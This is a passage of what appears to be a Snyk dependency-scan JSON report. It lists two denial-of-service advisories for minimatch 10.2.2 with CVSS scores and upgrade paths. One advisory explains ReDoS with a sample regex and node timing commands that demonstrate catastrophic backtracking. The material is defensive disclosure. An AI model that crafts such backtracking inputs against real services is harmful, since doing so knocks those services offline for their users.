"2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient 